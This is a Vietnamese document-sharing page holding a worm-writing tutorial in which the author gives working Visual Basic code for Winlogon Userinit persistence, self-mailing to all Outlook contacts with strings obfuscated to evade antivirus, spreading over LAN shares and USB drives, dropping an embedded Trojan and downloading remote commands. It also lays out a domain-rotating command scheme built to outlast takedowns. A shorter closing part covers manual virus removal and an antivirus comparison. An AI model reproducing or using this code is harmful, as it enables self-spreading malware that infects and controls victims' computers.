Toàn tập Virus

Đểmột con sâu có thểtự động cập nhật phiên bản mới, thay đổi những thông điệp đểlây truyền qua Y!M, hay là bắt mấy con sâu (Trên máy tính nạn nhân) phải làm một sốviệc nào đó mà chúng ta muốn (Tất nhiên cần phải thiết kếsẵn tính năng này). Chúng ta sẽphải sửdụng một kỹthuật cực kỳthú vị. Các bạn trách nhầm lẫn với kỹthuật BackDoor “Cổtruyền” nha, kỹthuật này dựa vào khảnăng Download và phần tích lệnh để điều khiển toàn bộworm.

Nguyên tắc :

Thực hiện việc download file nài đó (URL này cố định) vềmáy tính nạn nhân. Sau đó tiến hành phân tích và sửlý công việc theo yêu cầu người viết.

pdf15 trang | Chia sẻ: maiphuongdc | Ngày: 11/02/2014 | Lượt xem: 2397 | Lượt tải: 13download
Bạn đang xem nội dung tài liệu Toàn tập Virus, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
c khởi động : C:\Documents and Settings\DungCoi\Start Menu\Programs\Startup DungCoi = Tên sử dụng trong hệ thống I.1.c Phương pháp sử dụng các tập tin đặc biệt : Có một số tập tin mà khi ghi thông tin với 1 cấu trúc nhất định thì nó sẽ khởi động chương trình chúng ta mong muốn khi khởi động hệ thống như (Win.ini System.ini) Thui cái này lên quantrimang.com mà đọc I.1. Khởi động bất hợp pháp : - Việc nó không theo các “Quy định” từ trước khiến nó ít người phát hiện ra và thậm chí cả MSCONFIG cũng ko thể nhận ra. - Tuy nhiên, cần chú ý là nếu các bạn chưa hiểu hết công việc của các Key trong phần này thì ko nên đụng tới (Nếu ẩu có thể làm hệ điều hành khởi động không được) - À, cần nhắc thêm. Do đây là những phương pháp tác động sâu vào hệ thống nên rất nguy hiểm nếu không hiểu hết bản chất của chúng. Sửa đổi Key trong Regedit : HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell Code : (Code mẫu với Key Userinit) Ban chú ý là phương pháp này cho phép chương trình của chúng ta được khởi động ngay trong chế độ Safe Mode (Rất đáng nể đấy) Module : Option Explicit Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" _ Alias "RegCreateKeyA" ( _ ByVal hKey As Long, _ ByVal lpSubKey As String, _ phkResult As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" _ Alias "RegSetValueExA" ( _ ByVal hKey As Long, _ ByVal lpValueName As String, _ ByVal Reserved As Long, _ ByVal dwType As Long, _ lpData As Any, _ ByVal cbData As Long) As Long Public Const REG_SZ = 1 Public Const REG_BINARY = 3 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) Dim Ret RegCreateKey hKey, strPath, Ret RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey Ret End Sub Form : Dim AppVirus As String Dim PathExp As String Private Sub Form_Load() PathExp = “C:\Windows\explorer.exe” If Len(App.Path) 3 Then AppVirus = App.Path + "\" + App.exename + (“.exe”) Else AppVirus = App.Path + App.exename + (“.exe”) End If Shell PathExp SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”, “Userinit”, AppVirus End Sub ‘Phần AppVirus là đường dẫn File của bạn ‘Câu lệnh Shell PathExp là rất cần thiết (Không tin xóa nó và chạy thử đi) Chú ý : Đoạn code chỉ có giá trị khi chương trình đã biên dịch (Tuyệt đối không chạy thử khi chưa biên dịch, phải biên dịch ra rồi mới được chạy thử) Muốn thấy hiệu quả thì cứ chạy File đã biên dịch ấy, rồi khởi động lại thấy kết quả liền. Với kỹ thuật này thì chương trình của chúng ta sẽ được khởi động ngay cả trong Safe Mode. 3. Lây nhiễm : Yeah, đây là một trong những thao tác đòi hỏi rất nhiều “Sáng tạo” đó nha. a. Email nhé : Nguyên tắc cơ bản đó là sử dụng OE (Outlook Explorer) có sẵn và các thông tin từ OE để khai thác và gửi email tới đối tượng kế tiếp. Tuy nhiên các này khá là lâu đời nên hiện nay không còn mấy ai sài cả (Cứ tham khảo như vui nhé) Dim AppVirus As String If Len(App.Path) 3 Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Set go = CreateObject(fgo) Set St = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110)) Set out = Wscript.CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110)) ‘Các bạn chú ý : Tất cả các dữ liệu ở dạng String ở trên đều được Dũng còi qua ra mã Ascii để trách AV dễ dàng phát hiện Set MAPI = out.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)) Set a = MAPI.AddressLists(1) For X = 1 To a.AddressEntries.Count Set Mail = St.CreateItem(0) Mail.To = St.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)).AddressLists(1).AddressEntries(X) Mail.Subject = “Tên nội dung Mail” ‘Ví dụ : Anh Dũng còi đẹp giai nhức làng Mail.Body = “Nội dung email” ‘Ví dụ : Coi hình người iu Dũng còi nè Mail.Attachments.Add = AppVirus ‘Đây là phần file đính kèm Mail.Send Next St.Quit b. LAN tại sao không ? Lây truyền trong mạng LAN về cơ bản gồm 2 thao tác : 1. Xác định các thư mục trong chế độ Share full (Cho phép sửa đổi) 2. Thực hiện thao tác Copy Trong bước 2 thì không có gì đáng nói (FileCopy). Cái khó là ở thao tác thứ nhất, trong quá trình “Nghiên kíu” Dũng còi đã tìm ra 3 phương thức cơ bản 1. Sài hàm API để xác định thư mục Share 2. Sài một công cụ trung gian của Windows là mấy cái lệnh hỗ trợ sẵn của hệ điều hành. 3. Dùng cách đọc loạt key trong regedit Cách số 1 khó quá, Dũng còi chỉ biết là có thể chứ làm ứ ra Dũng còi chỉ có thể trình bày 2 cách sau : 1. Command : Nguyên tắc của cách này là kêu hệ điều hành làm theo cái lệnh kia (Tìm và ghi các đường dẫn thư mục Share Full vào 1 tập tin). Sau đó tiến hành đọc tập tin này và thực hiện thao tác copy. Dim AppVirus As String If Len(App.Path) 3 Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Dim ishell Set ishell = CreateObject("wscript.shell") ishell.run "%comspec% /C net view > C:\plog.tmp", 0, True Set fso = CreateObject("scripting.filesystemobject") Set rd = fso.opentextfile("C:\plog.tmp") nbuff = 0 Do While rd.AtEndOfStream True nbuff = rd.readline If Left(nbuff, 2) = "\\" Then ishell.run "%comspec% /C net view " & Trim(Left(nbuff, 21)) & " > C:\clog.tmp", 0, True Set rdd = fso.opentextfile("C:\clog.tmp") buff = "" Do While rdd.AtEndOfStream True buff = rdd.readline combuff = Right(Trim(buff), 4) If Right(combuff, 4) = "Disk" Then buffadd = Left(buff, 13) If Len(Trim(buffadd)) > 0 Then sharename = a & Trim(Left(nbuff, 21)) & "\" & Trim(buffadd) & a FileCopy AppVirus, sharename & "\" & appl & ".exe" End If End If Loop End If Loop Chú ý : Hầu hết các AV đã chặn cách này, tuy nhiên cách này làm việc rất tuyệt vời (Liệt kê khá hoàn hảo) 2. Regedit : Nguyên tắc cách này là thực hiện thao tác đọc hàng loạt Key trong Regedit (Các thông số do hệ điều hành tự ghi nhận từ trước) Dim AppVirus As String If Len(App.Path) 3 Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Const HKCU = &H80000001 Dim ObjFS Set ObjFS = CreateObject("Scripting.FileSystemObject") Set ObjReg = GetObject("winmgmts:\\.\root\" & _ "Default:StdRegProv") strKeyPath = "SOFTWARE\Microsoft\Windows\" & _ "CurrentVersion\Explorer\WorkgroupCrawler\Shares" ObjReg.EnumKey HKCU, strKeyPath, arrSubKeys For Each subkey In arrSubKeys ObjFS.CopyFile AppVirus,"\\" & subKey & "/dungcoi.exe" , True ‘Có thể dùng hàm FileCopy thay cho việc dùng hàm này Next Chú ý : Cách này liệt kê không tốt bằng cách ở trên nhưng hầu hết các AV không chặn lại. c. USB = Mốt : Flashy là con worm lây lan mạnh nhất Việt Nam trong tháng 1/2007 vậy mà cũng chỉ có vỏn vẹn một tính năng này và tính năng ghi một Key trong Regedit mà thui (Hic hic, do sinh sau đẻ muộn và cũng do Dũng còi không muốn phát tán nên con RealWorm (Với trên do mấy ông Bkis cập nhật là DakNong) chỉ xếp vị trí thứ 8 hà buồn thiệt nha híc híc) Con worm dungcoi do vô tình để “Xổng chuồng” (Hồi đó là do tai nạn mà để nó lọt ra ngoài). Mà giờ nó lây tuốt luốt bên Campuchia (Phải tốn 2 tuần để kiểm định thông tin này đó), còn ở trong nước thì hổng rõ nó đi tới đâu ùi. Dù nó lợi hại là vậy nhưng thực ra tính năng này rất đơn giản và dễ làm. Hồi trước khi nghiên cứu tính năng này Dũng còi đã chia ra các công việc sau : 1. Tìm ổ đĩa USB (Xem có tồn tại không) - Liệt kê tất cả ổ đĩa - Kiểm tra xem trong các ổ đĩa đó, ổ đĩa nào là đĩa giao tiếp qua USB (Loại đĩa rời và khác đĩa mềm) 2. Tìm toàn bộ thư mục (Lây vô hết luôn cho vui) 3. FileCopy (Qúa đơn giản) Bạn nơi chú ý cách rằng cách thức Dũng còi sử dụng ở đây là tạo các bản worm với các tên khác nằm trong các thư mục khác nhau có tên trùng với thư mục tương ứng. ‘Code boi Dung Coi ‘Email : dungcoivb@gmail.com Private Sub Form_Load() Dim AppVirus As String If Len(App.Path) 3 Then AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) Else AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101)) End If Dim d, dc Dim fso, cf Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d In dc If (d.DriveType = 1) And (UCase(Left(d, 1)) "A") Then Set cf = fso.GetFolder(d).subfolders For Each fil In cf If TonTai(fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))) = False Then FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101)) TimThuMuc (fil.Path) Next End If Next End Sub ‘===================================== Private Sub TimThuMuc(ThuMuc As String) ‘Thao tác tìm thư mục Dim fso, cf, fil, ext Set fso = CreateObject((Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(105) + Chr(110) + Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) + Chr(99) + Chr(116))) 'Scripting.FileSystemObject Set cf = fso.GetFolder(ThuMuc).subfolders For Each fil In cf FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101)) TimThuMuc (fil.Path) Next End Sub ‘===================================== Private Function TonTai(filename) As Boolean ‘Kiểm tra sự tồn tại của File On Error GoTo ErrorHandler TonTai = (Dir(filename) "") Exit Function ErrorHandler: TonTai = False End Function d. BackDoor (Mở cửa hậu): Chán chết, đang ngồi “Mổ cò” thì PC nó “Sinh sự” làm mất luôn phần bài viết về BackDoor nên ứ them gõ lại nữa mệt quá, nói sơ qua phần này thui : BackDoor : Kỹ thuật mở cổng hoặc kết nối trực tiếp tới một PC khác, sau đó từ Server đó sẽ có quyền làm mọi thứ trên PC nạn nhân (Victim). Như vậy về cơ bản ở đây là sự kết nối giữa 2 PC với nhau. Phần đông kỹ thuật này chỉ được dùng ở Trojan chứ ít có ở worm vì các lý do sau (Do Dũng còi suy nghĩ thui nha) : - Việc kết nối 2 PC thông thường sài 1 Control trung gian, hoặc nếu tự viết cái đó thì sẽ ngốn dung lượng worm rất lớn. Cả 2 điều này đều trái với nguyên tắc viết worm thông thường (Phải sử dụng thêm 1 Control làm tăng khả năng phát sinh lỗi thiếu thư viện, dung lượng cao tức là kém linh hoạt) - Số lượng worm có thể quá lớn để từ 1 server mà thằng cha viết con worm ngồi “Nghiên kíu” cho hết. - Việc sử dụng kỹ thuật này rất nguy hiểm cho worm (sẽ bị các FireWall phát hiện và chặn lại ngay).. Như vậy hoàn toàn không thích thú gì cho lập trình viên viết ra nó (Worm). - Thế mạnh của Trojan là có thể đáng “Trúng mục tiêu” nhất định (Trojan không lây lan à nha). Trong bài viết này Dũng còi chỉ hướng dẫn cơ bản về cách kết nối 2 PC (Nếu bạn muốn nghiên cứu kỹ hơn thì có thể lên www.quantrimang.com để đọc một bài viết rất hay về chủ đề này) : Nguyên tắc : Vấn đề trong bài này sẽ giúp bạn giải quyết đó là việc kết nối 2 PC với nhau bằng cách dùng Winsock. Việc này rất đơn giản, bạn chỉ cần tạo 2 Control Winsock tại 2 phần Clinet-Server (Máy khác-Máy chủ) và làm cho chúng có thể liên lạc với nhau. Thực hiện : Bước 1 : Tạo một dự án mới Trong bước này bạn ấn chọn Standard EXE Bước 2 : Thêm Control Winsock Để thực hiện thao tác này bạn chọn theo thực đơn Project -> Components... (Hoặc nhắn tổ hợp phím Ctrl+T ) Sau khi hiển thị hộp thoại bạn chịn Tab Controls (Mặc định đã là Tab này), bạn tìm tên Microsoft Winsock Control 6.0 và đánh dấu chọn rồi nhấn chọn OK. Bước 3 : Hãy vẽ các Control theo hình sau (Không cần phải thay đổi thuộc tính Name) Bước 4 : Nhập mã lệnh cho chương trình Trong cử sổ lệnh bạn nhập đoạn code sau : Private Sub Command1_Click() Winsock2.Close ‘Đóng tất cả kết nối hiện tại của Winsock (Nếu có) Winsock2.Connect “127.0.0.1”, 1234 ‘Kết nối tới số IP 127.0.0.1 với cổng là 1234 End Sub Private Sub Command2_Click() Winsock2.SendData Text1.Text ‘Gửi gói dữ liệu với nội dung của TextBox End Sub Private Sub Form_Load() Winsock1.LocalPort = 1234 ‘Cổng nhận dữ liệu Winsock1.Listen ‘Bắt đầu đọc dữ liệu từ cổng đã xác lập ở trên End Sub Private Sub Winsock1_ConnectionRequest(ByVal requested As Long) ‘Biến cố ghi nhận kết nối Winsock1.Close ‘Đóng các kết nối Winsock1.Accept requested ‘Chấp nhận kết nối với nơi gửi lệnh kết nối MsgBox “Da ket noi thanh cong” ‘Thông báo đã hoàn thành kết nối End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ‘Biến cố ghi nhận dữ liệu Dim data As String ‘Khai báo biến lưu trữ gói tin nhận được Winsock1.GetData data ‘Ghi dữ liệu nhận được vào biến MsgBox data ‘Thông báo gói dữ liệu End Sub e. Kỹ thuật chèn Trojan : Như đã định nghĩa về Trojan, trong 2 kỹ thuật “Thả “ những thứ đen tối của Trojan thì có kỹ thuật 2 là kỹ thuật đáng nói (Kỹ thuật 1 thì khỏi cần nói rồi). Kỹ thuật này là kỹ thuật trích xuất Trojan từ soft Về cơ bản có 3 cách làm như sau : 1. Tải chương trình muốn kích hoạt chạy từ một URL sau đó kích hoạt chúng 2. Chèn file đó vào cuối chương trình, sau đó thao tác xử lý file 3. Tiến hành “Nhốt” Trojan vào Resource (Với VB6). Sau đó trích xuất chúng ra. Trong các cách trên thì có kỹ thuật thứ 3 là kỹ thuật đơn giản nhất nên Dũng còi sẽ hướng dẫn kỹ thuật này (Chỉ áp dụng cho ứng dụng bạn viết thui nha) : 1. Tạo một Resource chứa trojan 2. Tạo Module chứa đoạn code sau : Public Enum AppResource appresBLANK_MDB = 101 appresMY_DAUGHTER = 102 appresNT_LOGON_SOUND = 103 appresMY_WIFE = 104 End Enum '------------------------------------------------------------ ' Author: Clint M. LaFever [lafeverc@saic.com] ' Purpose: Extracts a file from the resource file and save ' the file to the destination passed in. ' Date: October,18 1999 @ 11:45:53 '------------------------------------------------------------ Public Function TaoFile(destFILE As String, resID As AppResource, Optional resTITLE As String = "CUSTOM") As String On Error GoTo ErrorBuildFileFromResource Dim resBYTE() As Byte resBYTE = LoadResData(resID, resTITLE) Open destFILE For Binary Access Write As #1 Put #1, , resBYTE Close #1 BuildFileFromResource = destFILE Exit Function ErrorBuildFileFromResource: Exit Function End Function 3. Trong form chính gõ đoạn code sử dụng cái Function trên để trích xuất và Shell chúng. Okie, quá đơn giản (Lười quá nên Dũng còi nói sơ qua vậy thui hà) f. Kỹ thuật viết những con worm “Nghe lời” : Để một con sâu có thể tự động cập nhật phiên bản mới, thay đổi những thông điệp để lây truyền qua Y!M, hay là bắt mấy con sâu (Trên máy tính nạn nhân) phải làm một số việc nào đó mà chúng ta muốn (Tất nhiên cần phải thiết kế sẵn tính năng này). Chúng ta sẽ phải sử dụng một kỹ thuật cực kỳ thú vị. Các bạn trách nhầm lẫn với kỹ thuật BackDoor “Cổ truyền” nha, kỹ thuật này dựa vào khả năng Download và phần tích lệnh để điều khiển toàn bộ worm. Nguyên tắc : Thực hiện việc download file nài đó (URL này cố định) về máy tính nạn nhân. Sau đó tiến hành phân tích và sử lý công việc theo yêu cầu người viết. Code (Đây chỉ là code mẫu của Control Download, còn source mẫu bạn có thể xem source RealWorm) ‘Programmed by David Nedved (Neddy) Option Explicit Public Event Progress(DownLoadedBytes As Long, TotalBytes As Long, sID As String) Public Event Completed(Bytes As Long, sID As String) Private colDest As New Collection Public Sub Download(sWWWFile As String, sDestination As String, Optional sID As String = "Id") On Error Resume Next colDest.Add sDestination, sID UserControl.AsyncRead sWWWFile, vbAsyncTypeFile, sID, vbAsyncReadForceUpdate End Sub Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty) On Error Resume Next Name AsyncProp.Value As colDest.Item(AsyncProp.PropertyName) colDest.Remove AsyncProp.PropertyName RaiseEvent Completed(AsyncProp.BytesRead, AsyncProp.PropertyName) End Sub Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty) RaiseEvent Progress(AsyncProp.BytesRead, AsyncProp.BytesMax, AsyncProp.PropertyName) End Sub Public Sub CancelDownload(Optional sID As String = "Id") UserControl.CancelAsyncRead sID End Sub Private Sub UserControl_Resize() UserControl.Height = "495" UserControl.Width = "495" End Sub g. Kỹ thuật tạo quyền điều khiển bất tử : Với kỹ thuật Dũng còi đã đề cập ở phần f có lẽ nhiều bạn sẽ rất thích thú. Tuy nhiên, giả sử như cho dù bạn thiết kế thành công và điều khiển được “Lũ worm”, thì ngay sau khi nó lây lan tới một mức “Kha khá” thì mấy “Chú” an ninh mạng sẽ lập tức tìm cách phân tích chúng và gần như 100% sẽ truy tìm ra các Domain điều khiển hoạt động của worm. Họ sẽ làm gì ? Okie, chắc chắn họ sẽ khóa cái tên trên miền đó. Như vậy thì cả đám worm của bạn sẽ trở thành vô chủ. Uí trùi ui, phí quá. Nếu bạn nghĩ chỉ việc tạo nhiều tên miền dự phòng cũng hoàn toàn sai, tất cả chúng lần lượt sẽ bị “Hành quyết”. Như vậy cách duy nhất là không hề mặc định cho worm về tên miền nào trước đó cả và chúng sẽ tự biết cách thay đổi danh sách tên miền này từ những dữ liệu từ một Domain nào đó trong danh sách nào đó. Đây chính là kỹ thuật lập trình “Sâu bọ” mà Dũng còi tốn nhiều thời gian nhất và cũng đáng để tự hào nhất. Một kỹ thuật lập trình đòi hỏi cả kỹ năng lập trình net và chủ yếu là khả năng lập trình xử lý file. Các thao tác của kỹ thuật : 1. Ngay sau khi biên dịch, tiến hành chèn một List (Danh sách) tên miền điều khiển 2. Thiết lập các file dữ liệu điều khiển worm từ trên các tên miền kia 3. Sau khi lây lan các worm sẽ đều đặng kiểm tra sự tồn tại của từng tên miền trong List tên miền của mình đang có (Kiểm tra qua thao tác Download file) 4. Tại một tên miền vẫn còn tồn tại thì sử dụng tên miền đó làm tên miền để tải file 5. Tải toàn bộ các file dữ liệu lệnh (Gồm 1 file chứa List tên miền luôn được cập nhật) 6. Trích xuất List tên miền bằng thao tác phân tích chính worm (Một List tên miền được “Chèn” sẵn trong worm) 7. So sánh List tên miền vừa down về được với List của nó (Chứa trong worm) 8. Nếu 2 List này có sự khác biệt sẽ tự động quá trình thay thế List cũ bằng list mới 9. Tự động kích hoạt file mới được tạo (Bản thân worm worm đó và được chèn vào đó là List tên miền mới) Chú ý : Toàn bộ các thông tin trong List tên miền đều được mã hóa. Okie, một worm tuyệt vời. Nhưng kỹ thuật này rất khó thực hiện và rõ ràng với cách trình bày của Dũng còi thì cũng rất khó hiểu. Thôi hãy xem một source một worm mà Dũng còi đã từng sử dụng kỹ thuật này vậy (Đó là worm vbvn) ........................................................... Lưu ý : Kỹ thuật này rất thích hợp để chơi trò “Mèo vờn chuột” với mấy bác an ninh mạng (Các worm bình thường như Gái Xinh thì mất tên miền là mất tất cả, còn với kỹ thuật này thì mất 1 thậm chí cả trăm tên miền nhưng nếu chúng ta online đều đặng thì rất khó mất quyền điều khiển trừ khi List tên miền của chúng ta bị mấy bác an ninh mạng giải mã thành công). Tuy nhiên, với “Trò chơi” như vậy thì nếu bị tóm cổ thì mấy bác ấy sẽ không “Nương tay” cho các bạn đâu. Thận trọng nhé. h. Kỹ thuật tự bảo vệ : Hầu hết các worm hiện nay đang lây lan tại Việt Nam đều gần như không có sự phòng thủ. Việc này là rất tệ với các Vxer. Vì vậy một nguyên tắc bảo vệ là cần thiết Có một số cách tự bảo vệ như sau : - Ẩn process (Khó có thể bị kill nếu không sài tới các soft chuyên nghiệp) - Kỹ thuật tạo các process tự bảo vệ lẫn nhau (Đã sử dụng trong worm DungCoi và cải tiến lớn tại RealWorm) Kỹ thuật này không quá phức tạp, bạn có thể tham khảo source VBVN để xem khả năng ẩn trong process (Kể cả WinXP), và xem Source RealWorm (Bkis đặt tên nó là w32.DakNong....Worm) để xem khả năng tự bảo vệ. IV. Tiêu diệt : Viết Virus, đó rõ ràng chỉ là thú vui (Ít nhất thì điều đó cũng đúng với Dũng còi). Và tất nhiên, khi đã là “Thú vui” rùi thì Dũng không hề muốn phát tán (Trong 4 worm Dũng từng viết thì chỉ có duy nhất 1 con vô tình bị lây lan ra ngoài). Dù việc viết worm là xấu, nhưng rõ ràng nhờ nghiên cứu nó mà Dũng còi đã có thêm những kiến thức về hệ thống, và nhất là về virus và AV. Việc này khiến Dũng còi tự tạo cho mình một liều “Vắc xin” để phòng ngừa Virus. Trong phần này, Dũng còi sẽ chỉ ra các cách tiêu diệt các loại worm thông thường (Và một số loại đặc biệt) 1. Dùng phần mềm trung gian : Các phần mềm AV thì không cần phải nói, tuy nhiên với rất nhiều virus mà các AV chưa cập nhật thì chúng ta chỉ còn đường diệt thủ công mà thôi. Okie, cùng diệt chúng nhá. Công cụ cần thiết : Process Explorer : Đây là một phần mềm chuyên nghiệp dùng để theo dõi các chương trình đang hoạt động trong hệ thống. Autoruns : Đây là chương trình quản lý tất cả các chương trình tự động được khởi động khi khởi động máy tính. Cả 2 chương trình trên đều có thể tải về miễn phí tại địa chỉ : a. Nhận dạng : a.1. Chương trình đang hoạt động : Bạn có thể sử dụng Process Explorer để xem các chương trình đang khởi động trong hệ thống. Dựa theo kinh nghiệm và với đường dẫn do chương trình ProcessXP xác định bạn có thể dễ dàng nhận ra có hay không sự tồn tại của virus trong hệ thống. a.2. Key khởi động : Hầu như tất cả virus đều tự tạo Key khởi động riêng cho mình để được hệ điều hành mở khi vừa khởi động máy vì vậy đây cũng là một phương pháp rất hiệu quả. Một virus điển hình là một chương trình đang hoạt động trong hệ thống và có key khởi động cùng hệ điều hành (Hãy thận trọng trước khi “Phán quyết” một chường trình nào đó có phải virus hay không) b. Dọn dẹp : Bạn đừng nghĩ rằng bạn ngắt ngay chương trình đó và xóa key của nó tạo trong regedit đã là xong việc, bởi vì các virus thường để lại rất nhiều “Tàn tích” trên máy tính của bạn, vì vậy nếu chỉ thực hiện các thao tác trên thì chưa đủ. b.1. Xác định “Tàn tích” : Chúng ta sẽ dùng Process Explorer để xác định các chuỗi trong file virus (Đây cũng chính là nguyên tắc mà các phần mềm chống Virus xác định để chống virus). Thao tác như sau : Trong Process Explorer bấm chuột phải vào tiến trình (Proscess) của virus. Sau đó chọn Properties... sau đó ấn chọn Strings. Một loạt chuỗi xuất hiện. Sau đó bạn hãy ngồi tìm những chuỗi như có dạng một đường dẫn rồi ghi lại chúng. Đó chính là những địa chỉ của tàn tích. b.2. Dọn dẹp : Với các virus thông bạn chỉ cần dùng Process Explorer để kết thúc sự làm việc của virus (Bấm chuột phải rồi chọn Kill Process). Sau đó bạn dùng Autoruns để xóa các key khởi động virus đó trong regedit (Bấm chuột phải chọn Delete). Cuối cùng bạn tìm đến địa chỉ của các “Tàn tích” để xóa bỏ chúng (Hãy thận trọng bởi có thể đó là một file quan trọng của hệ thống) Với các trên bạn đã có thể tự tay mình tiêu diệt được khoảng 85% các loại virus còn với một số loại virus có một số chế độ “Phòng thủ” rất cao cấp thì vào phần sau Dũng còi sẽ đề cập. 2. Lựa chọn phần mềm chống virus (Antivirus =AV) : Có rất nhiều phần mềm chống virus, tuy nhiên do cấu hình máy khá là tệ nên Dũng còi chỉ mới dám test các phần mềm sau : Bkav, AVG, McAfee, Kaspersky. Và cuối cùng Dũng còi đã tìm thấy một phần mềm tuyêt vời (Tuy nhiên để khách quan Dũng còi sẽ phân tích từng thằng trong số này). Bkav : Okie, sự lựa chọn của rất nhiều người, Dũng còi cũng sảng hồn khi hôm trước Dũng còi có dịp đi Ban Mê Thuộc để mua vài tờ báo IT thì thấy ông Quảng dám nói rằng “Phiên bản thương mại của Bkav, được thiết kế với những tính năng đặc biệt nhằm bảo vệ an toàn tuyệt đối máy tính của bạn trước virus”. Không biết bản Pro có ngon thiệt không chứ Dũng còi sài thử bản Home mà mấy phát chán. Tính năng diệt virus thì không cần nói (AV mà không diệt Virus thì dẹp), tuy nhiên khả năng tự động cảnh báo các hành vi thông thường của Virus là không hề có. Chưa kể ông Bkav còn diệt không nổi một số loại virus khi đã nhận ra được chúng. Thậm chí hôm trước k

Các file đính kèm theo tài liệu này:

  • pdfvirus_toan_tap_dung_coi.pdf